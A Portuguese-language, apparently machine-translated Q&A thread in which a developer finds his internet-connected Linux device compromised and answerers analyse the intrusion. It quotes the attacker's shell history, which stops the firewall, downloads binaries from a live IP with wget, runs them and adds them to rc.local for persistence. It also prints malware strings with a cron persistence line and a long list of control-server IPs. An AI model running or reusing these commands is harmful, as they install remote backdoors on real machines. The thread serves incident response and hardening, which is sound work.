Questão Acabei de ser hackeado?


Estou desenvolvendo um produto de consumo e ele deve estar conectado à Internet, portanto, como esperado, ele está conectado à Internet para que eu possa desenvolvê-lo adequadamente.

Fui embora por uma ou duas horas e, quando voltei ao meu consultório, notei alguns comandos estranhos escritos no terminal.

Olhando para o arquivo de log do Linux chamado auth.log Eu posso ver as seguintes linhas (entre muitas outras):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

O endereço IP 40.127.205.162 acaba por ser propriedade da Microsoft.

Aqui estão alguns comandos que foram usados ​​enquanto eu estava fora:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

E mais:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Eu estava completamente inconsciente disso. Como posso proteger meu produto corretamente?

Eu gostaria de postar o completo auth.log Arquivo. Como faço isso?

Além disso, o arquivo yjz1 que foi baixado parece ser um Trojan Linux e tudo isso parece ser feito por algum tipo de grupo hacker de acordo com http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Devo ligar para a Microsoft e conversar com eles? O que devo fazer?


482


origem


Sim, isso não parece bom demais. Eu não sou um especialista em Linux, por qualquer meio, mas algumas coisas definitivamente tentaram executar lá. Eu não tenho certeza como, embora parece que tentou fazer o login como root e falhou. Existem outros logs no seu auth.log? Qualquer outro meio de administração remota? Já vi o Mac com o servidor VNC ativado ser invadido antes por meio disso, embora isso pareça uma tentativa de SSH. Parece que os IPs dos quais ele estava fazendo download estão hospedados na China em algum lugar. - Jonno
Você foi forçado a brutamontes. É por isso que não se deixa um servidor ssh na internet, mesmo que você tenha uma senha. Qualquer coisa que não seja de autenticação baseada em chave não é segura o suficiente nos dias de hoje. - Journeyman Geek♦
Bem nós temos security.stackexchange.com. Mas primeiro a primeira coisa: o host comprometido não pode mais ser confiável. Tire da rede. Se possível, faça um backup para poder pesquisar o que foi feito e como foi feito. Em seguida, reinstale o sistema operacional de uma fonte limpa. Restaurar dados de backups. Proteja o sistema para que você não seja infectado novamente. Descobrir como eles chegaram é altamente recomendado. (Daí a recomendação de fazer uma cópia do sistema infectado). - Hennes
FYI: 40.127.205.162 é um Microsoft Azure Endereço IP de acordo com o GeoIP. Conseqüentemente, você não pode culpar a Microsoft pelo ataque - é o mesmo que culpar a Amazon porque alguém usou o EC2 como spam. A única coisa que a Microsoft pode realmente fazer é expulsar os atacantes do Azure, mas eles estarão de volta em uma plataforma de nuvem diferente em pouquíssimo tempo. - nneonneo
De fato, se isso foi escrito em seu terminal, o hacker provavelmente está sentado no próximo cubículo. - isanae


Respostas:


EDIT 2:

Há uma boa razão pela qual este post está atraindo tanta atenção: você conseguiu gravar toda a sessão ao vivo de um intruso no seu PC. Isso é muito diferente da nossa experiência cotidiana, onde lidamos com a descoberta das conseqüências de suas ações e tentamos corrigi-las. Aqui vemos ele no trabalho, vê-lo tendo alguns problemas em estabelecer o backdoor, refazer seus passos, trabalhar febrilmente (talvez porque ele estivesse sentado à sua mesa, como sugerido acima, ou talvez, e na minha opinião mais provável, porque ele estava incapaz de fazer seu malware ser executado no sistema, leia abaixo) e tente implantar instrumentos de controle totalmente independentes. Isto é o que os pesquisadores de segurança testemunham diariamente armadilhas de mel. Para mim, esta é uma chance muito rara e a fonte de alguma diversão.


Você definitivamente foi hackeado. A evidência para isso não vem do trecho do auth.log arquivo que você exibiu, porque isso relata uma tentativa malsucedida de login, ocorrendo em um curto período de tempo (dois segundos). Você notará que a segunda linha indica Failed passwordenquanto o terceiro relata pre-auth desconectar: ​​o cara tentou e falhou.

A evidência vem em vez do conteúdo dos dois arquivos http://222.186.30.209:65534/yjz e http://222.186.30.209:65534/yjz1 que o atacante baixou no seu sistema.

O site está aberto a qualquer pessoa para baixá-los, o que eu fiz. Eu corri pela primeira vez file neles, que mostrou:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Então eu os trouxe para uma VM de 64 bits que eu tenho; um exame de seu conteúdo através do strings O comando revelou muito que era suspeito (referência a vários ataques bem conhecidos, a comandos a serem substituídos, um script que era claramente usado para configurar um novo serviço e assim por diante).

Em seguida, produzi os hashes MD5 de ambos os arquivos e os alimentei Cymru's banco de dados de hash para ver se eles são agentes conhecidos de malware. Enquanto yjznão é, yjz1 é, e Cymru relata uma probabilidade de detecção por software anti-vírus de 58%. Ele também afirma que esse arquivo foi visto pela última vez há três dias, por isso é razoavelmente recente.

Corrida clamscan (parte de clamav pacote) nos dois arquivos que obtive:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

então agora estamos certos de que o software padrão do Linux pode identificá-lo.

O que você deveria fazer? 

Embora bastante novo, nenhum sistema é muito novo, veja este artigo de janeiro de 2015 sobre XorDdos, por exemplo. Portanto, a maioria dos pacotes gratuitos deve ser capaz de removê-lo. Você deveria tentar: clamav, rkhunter, chkrootkit. Eu pesquisei por aí e vi que eles afirmam ser capazes de identificá-lo. Usá-los para verificar o trabalho do antecessor, mas depois de executar esses três programas, você deve estar pronto para ir.

Quanto à questão maior, what should you do to prevent future infectionsA resposta de Journeyman é um bom primeiro passo. Apenas tenha em mente que é uma luta contínua, que todos nós (incluindo eu!) Podemos muito bem ter perdido sem nem mesmo saber.

EDITAR:

No prompt (indireto) de Viktor Toth, gostaria de acrescentar alguns comentários. É certamente verdade que o intruso encontrou algumas dificuldades: ele faz o download de duas ferramentas de hackers distintas, altera suas permissões várias vezes, reinicia-as várias vezes e tenta várias vezes desativar o firewall. É fácil adivinhar o que está acontecendo: ele espera que suas ferramentas de hackers abram um canal de comunicação em direção a um de seus PCs infectados (veja adiante) e, quando ele não vê esse novo canal surgindo em seu controle GUI, teme sua invasão. ferramenta está sendo bloqueada pelo firewall, então ele repete o procedimento de instalação. Concordo com Viktor Toth que este estágio particular de sua operação não parece trazer os frutos esperados, mas eu gostaria de encorajá-lo muito fortemente não subestimar a extensão do dano infligido no seu pc.

Eu forneço aqui uma saída parcial de strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Isso fornece evidências de adulteração dos serviços (em /etc/init.d e em /etc/rc.d), com crontab, com o arquivo de histórico de mysqle alguns arquivos em proc que são links para bash (o que sugere que uma versão fraudulenta customizada do seu shell foi implementada). Então o programa gera uma requisição HTTP (para um site de língua chinesa,

 Accept-Language: zh-cn

que dá substância ao comentário de David Schwartz acima), que pode criar ainda mais estragos. Na solicitação, binários (Content-Type: application/x-www-form-urlencoded) devem ser baixados para o computador atacado (GET) e enviados para a máquina controladora (POST). Eu não consegui estabelecer o que seria baixado para o pc atacado, mas, dado o pequeno tamanho de ambos yjz e yjz1 (1.1MB e 600kB, respectivamente), eu posso arriscar a supor que a maioria dos arquivos necessários para encobrir o rootkit, isto é as versões alteradas de ls, netstat, ps, ifconfig, ..., seria baixado dessa maneira. E isso explicaria as tentativas febris do invasor para fazer esse download funcionar.

Não há certeza de que o acima exposto esgote todas as possibilidades: certamente não temos parte da transcrição (entre as linhas 457 e 481) e não vemos um logout; além disso, especialmente preocupantes são as linhas 495-497,

cd /tmp;  ./yd_cd/make

que se referem a um arquivo que não vimos baixado, e que poderia ser uma compilação: se assim for, significa que o atacante entendeu (finalmente?) qual era o problema com seus executáveis ​​e está tentando consertá-lo; nesse caso, o computador atacado foi para o bem. [Na verdade, as duas versões do malware que o atacante baixou na máquina hackeada (e eu na minha máquina virtual de 64 bits da Debian) são para uma arquitetura inadequada, x86, enquanto o nome do computador invadido revela o fato de que ele estava lidando com uma arquitetura de braço].

A razão pela qual escrevi esta edição é insistir para que você combata seu sistema com um instrumento profissional ou para reinstalar do zero.

E, a propósito, se isso for útil para qualquer um, esta é a lista dos 331 Endereços IP aos quais yjz tenta se conectar. Esta lista é tão grande (e provavelmente destinada a tornar-se maior ainda) que eu acredito que esta é a razão para adulterar mysql. A lista fornecida pela outra backdoor é idêntica, o que, eu presumo, é a razão para deixar uma informação tão importante no exterior (eu pensar O atacante não queria fazer o esforço para armazená-los no formato do kernel, então ele colocou toda a lista em um arquivo de texto claro, que provavelmente é lido por todos os seus backdoors, para qualquer SO):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

O seguinte código

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

na lista acima mostra que 302 de um total 331 endereços são na China continental, os restantes estão em Hong Kong, Mongólia, Taiwan. Isso adiciona mais suporte à alegação de David Schwartz de que isso é principalmente um anel de bot chinês.

EDITAR 3

A pedido do @vaid (o autor do OP, leia seu comentário abaixo), adicionarei um comentário sobre como fortalecer a segurança de um sistema Linux básico (para um sistema que fornece muitos serviços, esse é um tópico muito mais complexo). vaid afirma que ele fez o seguinte:

  1. Reinstale o sistema

  2. alterou a senha do root para uma senha de 16 caracteres com letras maiúsculas e minúsculas combinadas, além de caracteres e dígitos.

  3. Alterou o nome de usuário para um nome de usuário com 6 caracteres mistos e aplicou a mesma senha usada para o root

  4. mudou a porta SSH para algo acima de 5000

  5. desativou o login da raiz do SSH.

Isso é bom (exceto que eu uso uma porta acima de 10.000, pois muitos programas úteis usam as portas abaixo de 10.000). Mas Eu não posso enfatizar o suficiente a necessidade de usar chaves criptográficas para login ssh, em vez de senhas. Eu vou te dar um exemplo pessoal. Em um dos meus VPSs, não tinha certeza se deveria alterar a porta ssh; Deixei-o aos 22, mas usei chaves de criptografia para autenticação. eu tinha centenas de tentativas de arrombamento por dia, nenhum conseguiu. Quando, cansado de verificar diariamente que ninguém tinha conseguido, eu finalmente mudei a porta para algo acima de 10.000, as tentativas de invasão foram para zero. Lembre-se, não é que os hackers são estúpidos (eles não são!), Eles apenas caçam presas mais fáceis.

É fácil ativar uma chave de criptografia com o RSA como um algoritmo de assinatura, veja o comentário abaixo por Jan Hudec (obrigado!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Agora tudo que você precisa fazer é copiar o arquivo id_rsa para a máquina da qual você deseja se conectar (em um diretório .ssh, Além disso chmod'ed para 700), em seguida, emita o comando

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Quando tiver certeza de que isso funciona, edite no servidor (= a máquina à qual você deseja se conectar) o arquivo /etc/ssh/sshd_confige mude a linha

#PasswordAuthentication yes

para

PasswordAuthentication no

e reinicie o ssh serviço (service ssh restart ou systemctl restart ssh, ou algo assim, dependendo da distro).

Isso vai resistir muito. De fato, atualmente não há explorações conhecidas contra as versões atuais openssh v2, e da RSA como empregado por openssh v2.

Por fim, para realmente derrubar sua máquina, você precisará configurar o firewall (netfilter / iptables) da seguinte maneira:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Isso, 1) permite conexões ssh de LAN e WAN, 2) permite que todas as entradas que foram originadas por suas solicitações (por exemplo, quando você carrega uma página da Web), 3) abandone tudo na entrada, 4) permita tudo em a saída e 5-6) permite tudo na interface de loopback.

Conforme suas necessidades crescem, e mais portas precisam ser abertas, você pode fazer isso adicionando, no topo da lista, regras como:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

para permitir, por exemplo, que pessoas acessem seu navegador da Web.


477



Isso foi ótimo para ler. Eu também tentei o arquivo yjz1 através de Googles VirusTotal.com que deu um positivo. Eu nem vi isso yjzfoi baixado. Obrigado. - vaid
Seja cuidadoso correndo strings em dados não confiáveis. lcamtuf.blogspot.com/2014/10/… - Matt Nordhoff
@MattNordhoff Obrigado por apontar isto, eu estava felizmente inconsciente disso. No entanto, no meu Debian o comando 'strings' passa no teste que você vinculou com cores voadores. Eu presumo que isso se deva ao fato de que o manual declara: -a ... Normalmente este é o comportamento padrão. Felicidades. - MariusMatutiae
Esta resposta mostra uma abordagem que deve ser um paradigma: 1. Não deixe sua atenção ser desviada por tentativas fracassadas, seja alertado. 2. Individue as ações bem-sucedidas do invasor. 3. Estude o que e como o atacante fez. 4. Instale todos a partir do zero ou do último backup não corrompido (atacado), adicionando as proteções adicionais necessárias encontradas (ponto 3). 5. Ajude os outros a se protegerem (a lista de IP comprometido / suspeito). - Hastur
[Redigido após comentário de @MariusMatutiae] - No entanto, o OP deve perceber que em um sistema comprometido, cada executável deve ser considerado malicioso, mesmo o shell, ls, who ou qualquer outra coisa. "Salvando dados" usando qualquer executável no sistema comprometido (por exemplo, scp ou rsyncpode comprometer ainda mais máquinas. - Dubu


Bem-vindo à Internet - onde qualquer servidor SSH aberto provavelmente será examinado, forçado e terá várias indignidades infligidas a ele.

Para começar, você precisa limpar completamente o armazenamento no produto. Imagem se você quiser passá-lo para forense, mas a instalação do Linux nele é agora suspeito.

Pouco de adivinhação, mas

  1. Você foi forçado a brutamontes ou use uma senha comum. É segurança por obscuridade mas você não quer uma senha de dicionário ou para usar uma conta root aberta no SSH. Desabilite o acesso root SSH se for uma opção ou pelo menos mude o nome para que eles precisem adivinhar ambos. O SSHing como root é uma prática de segurança terrível. Se você precisar usar root, faça login como outro usuário e use su ou sudo para alternar.

  2. Dependendo do produto, você pode querer bloquear o acesso SSH de alguma forma. Um bloqueio total parece uma boa ideia e permite que os usuários o abram como necessário. Dependendo de quais recursos você pode poupar, considere apenas permitir endereços IP em sua própria sub-rede ou algum tipo de sistema de otimização de login. Se você não precisar dele no produto final, verifique se ele está desativado.

  3. Use uma porta não padrão. Segurança pela obscuridade novamente, mas isso significa que um invasor precisa direcionar sua porta.

  4. Nunca use uma senha padrão. A melhor abordagem que vi é gerar aleatoriamente uma senha para um dispositivo específico e enviá-lo com seu produto. A melhor prática é a autenticação baseada em chave, mas não tenho ideia de como você abordaria isso em um produto de mercado de massa.


140



5. Use a chave pública auth se for possível. A autenticação de senha é muito menos segura. - Bob
Sim, mas se é um dispositivo de consumo, pode não ser uma opção. Em uma caixa de desenvolvimento, isso soa como uma ideia brilhante. Em um servidor, bem, eu fui hackeado antes; p - Journeyman Geek♦
Se for um dispositivo consumidor, a mesma senha ou chave aleatória em todos eles também é uma má ideia. Como é qualquer coisa com base no seu número de série, seu MAC ou outras informações identificáveis. (Algo que muitos modem / roteadores / WAPs SoHO parecem ter perdido). - Hennes
É um dispositivo de consumo. No entanto, a grande maioria do consumidor-alvo não será educada o suficiente para saber o que é SSH. Então, o SSH pode ser desativado e provavelmente será desativado. - vaid
Além disso, use fail2ban. - Shadur


Ah, você foi definitivamente hackeado. Alguém parece ter conseguido obter credenciais raiz e tentou baixar um Trojan para o seu sistema. A MariusMatutiae forneceu uma análise da carga útil.

Duas questões surgem: a) O atacante foi bem sucedido? Eb) o que você pode fazer sobre isso?

A resposta para a primeira pergunta pode seja um não. Observe como o invasor tenta baixar e executar a carga repetidamente, aparentemente sem sucesso. Eu suspeito que algo (SELinux, por acaso?) Permaneceu em seu caminho.

NO ENTANTO: O invasor também alterou sua /etc/rc.d/rc.local arquivo, na esperança de que quando você reiniciar seu sistema, a carga útil será ativada. Se você ainda não tiver reiniciado o sistema, não reinicie até remover essas alterações de /etc/rc.d/rc.local. Se você já reiniciou ... bem, azar.

Quanto ao que você pode fazer sobre isso: A coisa mais segura a fazer é limpar o sistema e reinstalar a partir do zero. Mas isso nem sempre pode ser uma opção. Uma coisa significativamente menos segura a fazer é analisar exatamente o que aconteceu e limpar todos os vestígios, se puder. Novamente, se você ainda não reiniciou o sistema, talvez tudo o que é necessário seja limpo /etc/rc.d/rc.local, remova qualquer coisa baixada pelo atacante, e por último mas não menos importante, mude a senha maldita!

No entanto, se o atacante já puder executar a carga, poderá haver outras modificações em seu sistema que podem ser difíceis de detectar. É por isso que um apagamento completo é realmente a única opção segura (e recomendada). Como você indicou, o equipamento em questão pode ser um alvo de teste / desenvolvimento, então, talvez, limpá-lo não seja tão doloroso quanto pode ser em outros casos.

Atualizar: Não obstante o que eu escrevi sobre uma possível recuperação, eu gostaria de fazer uma eco a MariusMatutiae muito forte recomendação de não subestimar o dano potencial causado por essa carga útil e até que ponto ela pode ter comprometido o sistema de metas.


33



Obrigado. Eu decidi limpar o sistema. Eu reiniciei um par de vezes, mas apenas para copiar alguns dados essenciais. Nenhum binário, apenas o código-fonte. Eu acho que estou bem seguro agora. - vaid
E quanto a outras caixas na mesma LAN? - WGroleau
Boa pergunta. O histórico de shell fornecido não indica nenhuma tentativa de descobrir e comprometer outras caixas na mesma rede. Mais geralmente, se o invasor obtiver acesso SSH (root) a uma caixa, isso basicamente significa que ele ignorou qualquer firewall de perímetro. No entanto, isso não implica automaticamente que outras caixas sejam comprometidas: isso exigiria algo como uma vulnerabilidade não corrigida, senhas compartilhadas entre caixas, login automático de uma caixa para outra etc. - Viktor Toth


Meu sshd-honeypot também viu esse tipo de ataque. Primeiros Downloads daquele URL iniciado 2016-01-29 10:25:33 e ataques ainda estão em andamento. Os ataques estão vindo de

103.30.4.212
111.68.6.170
118.193.228.169

A entrada desses invasores foi:

serviço iptables parar
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & amp1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Portanto, não há atividades além de instalar o backdoor para mais tarde.


17



De acordo, é o mesmo MO. - MariusMatutiae
@MariusMatutiae Então, este não é um hack manual então? É algum tipo de worm / bot? - NickG
@NickG Meu melhor palpite é que isso não foi um hack manual. Qual é a probabilidade de que o vaid trabalhe no mesmo escritório que o originador de um botnet baseado na China? Alguém encontrou uma fraqueza explorável em sua máquina, muito provavelmente um servidor ssh fracamente protegido, forçou brutalmente sua senha, ganhou acesso, tentou instalar-se sub-repticiamente. No entanto, eu também apostaria que o atacante é mais fluente com o Windows do que com o Linux. Mas eu não tenho Difícil prova disso, apenas um palpite. - MariusMatutiae


Todos aqui ofereceram conselhos sólidos, mas, para ser claro, suas prioridades devem estar garantidas e verificar o que você realmente precisa desse sistema, depois limpá-lo com uma nova instalação a partir de uma mídia segura.

Antes de conectar seu host recém-instalado à Internet, leia estas idéias:

  1. Crie um novo usuário não raiz e efetue login como esse usuário. Você nunca deve precisar fazer login como root, apenas sudo (usuário substituto) quando necessário.

  2. Instale o SE Linux, configurações que permitem o controle de acesso obrigatório: https://wiki.debian.org/SELinux/Setup

  3. Considere um firewall de hardware entre o seu escritório / casa e a Internet. Eu uso o MicroTik, que tem excelente suporte à comunidade: http://routerboard.com/.

Supondo que você esteja em uma linha do tempo para concluir seu trabalho remunerado, faça pelo menos o primeiro. # 3 é rápido e barato, mas você precisará aguardar o pacote pelo correio ou dirigir até a loja.


11



E, acima de tudo, não deixe o seu PC funcionando sem supervisão com uma sessão de raiz aberta! - MariusMatutiae


